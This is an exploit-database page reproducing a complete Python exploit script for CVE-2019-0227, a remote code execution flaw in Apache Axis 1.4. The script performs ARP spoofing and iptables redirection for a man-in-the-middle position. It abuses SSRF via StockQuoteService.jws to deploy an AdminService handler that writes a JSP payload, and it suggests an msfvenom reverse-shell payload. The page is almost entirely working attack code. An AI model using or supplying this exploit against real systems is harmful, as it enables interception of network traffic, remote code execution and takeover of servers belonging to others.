ExploitFixes
Apache Axis 1.4 - Remote Code Execution 2019-04-09 16:05:06

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
# Apache Axis 1.4 Remote Code Execution CVE-2019-0227 #
#https://rhinosecuritylabs.com/Application-Security/CVE-2019-0227-Expired-Domain-to-RCE-in-Apache-Axis #
# Author: David Yesland @daveysec, Rhino Security Labs #
# This exploits Apache Axis < 1.4 to upload and execute a JSP payload using MITM #
# by forcing an http request using the default StockQuoteService.jws service. #
# You need to be on the same network as the Axis server to make this work. #
# A lot of this exploit is based on the research from: #
# https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce #
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

import SimpleHTTPServer
import SocketServer
import subprocess
from time import sleep
import thread
import requests
from urllib import quote_plus
import sys

#Usage: python CVE-2019-0227.py shell.jsp

#You need to change these variable to match your configuration
myip = "192.168.0.117" #IP of your machine
target = "192.168.0.102" #IP of target
gateway = "192.168.0.1" #default gateway
targetport = "8080" #Port of target running axis (probably 8080)
pathtoaxis = "http://192.168.0.102:8080/axis" #This can be custom depending on the Axis install, but this is default
spoofinterface = "eth0" #Interface for arpspoofing
jspwritepath = "webapps\\axis\\exploit.jsp" #relative path on the target to write the JSP payload This is the default on a Tomcat install

#msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
payloadfile = open(sys.argv[1],'r').read() #Some file containing a JSP payload

#craft URL to deploy a service as described here https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
deployurl = 'http://localhost:'+targetport+'/axis/services/AdminService?method=!--><ns1:deployment+xmlns="http://xml.apache.org/axis/wsdd/"+xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"+xmlns:ns1="http://xml.apache.org/axis/wsdd/"><ns1:service+name="exploitservice"+provider="java:RPC"><requestFlow><handler+type="RandomLog"/></requestFlow><ns1:parameter+name="className"+value="java.util.Random"/><ns1:parameter+name="allowedMethods"+value="*"/></ns1:service><handler+name="RandomLog"+type="java:org.apache.axis.handlers.LogHandler"+><parameter+name="LogHandler.fileName"+value="'+quote_plus(jspwritepath)+'"+/><parameter+name="LogHandler.writeToConsole"+value="false"+/></handler></ns1:deployment'

#craft URL to undeploy a service as described here https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce
undeployurl = 'http://localhost:'+targetport+'/axis/services/AdminService?method=!--><ns1:undeployment+xmlns="http://xml.apache.org/axis/wsdd/"+xmlns:ns1="http://xml.apache.org/axis/wsdd/"><ns1:service+name="exploitservice"/></ns1:undeployment'


def CreateJsp(pathtoaxis,jsppayload):
url = pathtoaxis+&quot;/services/exploitservice&quot;
headers = {&quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0&quot;, &quot;Accept&quot;: &quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;, &quot;Accept-Language&quot;: &quot;en-US,en;q=0.5&quot;, &quot;Accept-Encoding&quot;: &quot;gzip, deflate&quot;, &quot;Connection&quot;: &quot;close&quot;, &quot;Upgrade-Insecure-Requests&quot;: &quot;1&quot;, &quot;SOAPAction&quot;: &quot;something&quot;, &quot;Content-Type&quot;: &quot;text/xml;charset=UTF-8&quot;}
data=&quot;&lt;?xml version=\&quot;1.0\&quot; encoding=\&quot;utf-8\&quot;?&gt;\r\n &lt;soapenv:Envelope xmlns:xsi=\&quot;http://www.w3.org/2001/XMLSchema-instance\&quot;\r\n xmlns:api=\&quot;http://127.0.0.1/Integrics/Enswitch/API\&quot;\r\n xmlns:xsd=\&quot;http://www.w3.org/2001/XMLSchema\&quot;\r\n xmlns:soapenv=\&quot;http://schemas.xmlsoap.org/soap/envelope/\&quot;&gt;\r\n &lt;soapenv:Body&gt;\r\n &lt;api:main\r\n soapenv:encodingStyle=\&quot;http://schemas.xmlsoap.org/soap/encoding/\&quot;&gt;\r\n &lt;api:in0&gt;&lt;![CDATA[\r\n&quot;+jsppayload+&quot;\r\n]]&gt;\r\n &lt;/api:in0&gt;\r\n &lt;/api:main&gt;\r\n &lt;/soapenv:Body&gt;\r\n&lt;/soapenv:Envelope&gt;&quot;
requests.post(url, headers=headers, data=data)

def TriggerSSRF(pathtoaxis):
url = pathtoaxis+&quot;/StockQuoteService.jws&quot;
headers = {&quot;User-Agent&quot;: &quot;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0&quot;, &quot;Accept&quot;: &quot;text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&quot;, &quot;Accept-Language&quot;: &quot;en-US,en;q=0.5&quot;, &quot;Accept-Encoding&quot;: &quot;gzip, deflate&quot;, &quot;Connection&quot;: &quot;close&quot;, &quot;Upgrade-Insecure-Requests&quot;: &quot;1&quot;, &quot;SOAPAction&quot;: &quot;&quot;, &quot;Content-Type&quot;: &quot;text/xml;charset=UTF-8&quot;}
data=&quot;&lt;soapenv:Envelope xmlns:xsi=\&quot;http://www.w3.org/2001/XMLSchema-instance\&quot; xmlns:xsd=\&quot;http://www.w3.org/2001/XMLSchema\&quot; xmlns:soapenv=\&quot;http://schemas.xmlsoap.org/soap/envelope/\&quot; xmlns:def=\&quot;http://DefaultNamespace\&quot;&gt;\r\n &lt;soapenv:Header/&gt;\r\n &lt;soapenv:Body&gt;\r\n &lt;def:getQuote soapenv:encodingStyle=\&quot;http://schemas.xmlsoap.org/soap/encoding/\&quot;&gt;\r\n &lt;symbol xsi:type=\&quot;xsd:string\&quot;&gt;dwas&lt;/symbol&gt;\r\n &lt;/def:getQuote&gt;\r\n &lt;/soapenv:Body&gt;\r\n&lt;/soapenv:Envelope&gt;&quot;
requests.post(url, headers=headers, data=data)


def StartMitm(interface,target,gateway):
subprocess.Popen(&quot;echo 1 &gt; /proc/sys/net/ipv4/ip_forward&quot;,shell=True)#Enable forwarding
subprocess.Popen(&quot;arpspoof -i {} -t {} {}&quot;.format(interface,target,gateway),shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)#spoof target -&gt; gateway
subprocess.Popen(&quot;iptables -t nat -A PREROUTING -p tcp --dport 80 -j NETMAP --to {}&quot;.format(myip),shell=True)#use iptable to redirect back to our web server


def KillMitm(target,myip):
subprocess.Popen(&quot;pkill arpspoof&quot;,shell=True)
subprocess.Popen(&quot;echo 0 &gt; /proc/sys/net/ipv4/ip_forward&quot;,shell=True)
subprocess.Popen(&quot;iptables -t nat -D PREROUTING -p tcp --dport 80 -j NETMAP --to {}&quot;.format(myip),shell=True)


def SSRFRedirect(new_path):
class myHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(301)
self.send_header('Location', new_path)
self.end_headers()
PORT = 80
SocketServer.TCPServer.allow_reuse_address = True
handler = SocketServer.TCPServer((&quot;&quot;, PORT), myHandler)
print &quot;[+] Waiting to redirect&quot;
handler.handle_request()
print &quot;[+] Payload URL sent&quot;


def ExecuteJsp(pathtoaxis):
subprocess.Popen(&quot;curl &quot;+pathtoaxis+&quot;/exploit.jsp&quot;,shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

print &quot;[+] Starting MITM&quot;
StartMitm(spoofinterface,target,gateway)
sleep(2)

print &quot;[+] Starting web server for SSRF&quot;
thread.start_new_thread(SSRFRedirect,(deployurl,))

print &quot;[+] Using StockQuoteService.jws to trigger SSRF&quot;
TriggerSSRF(pathtoaxis)
print &quot;[+] Waiting 3 seconds for incoming request&quot;
sleep(3)

print &quot;[+] Writing JSP payload&quot;
CreateJsp(pathtoaxis,payloadfile)

print &quot;[+] Cleaning up exploit service&quot;
thread.start_new_thread(SSRFRedirect,(undeployurl,))
TriggerSSRF(pathtoaxis)

print &quot;[+] Cleaning up man in the middle&quot;
KillMitm(target,myip)

print &quot;[+] Waiting 2 seconds for JSP write&quot;
sleep(2)
ExecuteJsp(pathtoaxis)

print &quot;[+] Default URL to the jsp payload:&quot;
print pathtoaxis+&quot;/exploit.jsp&quot;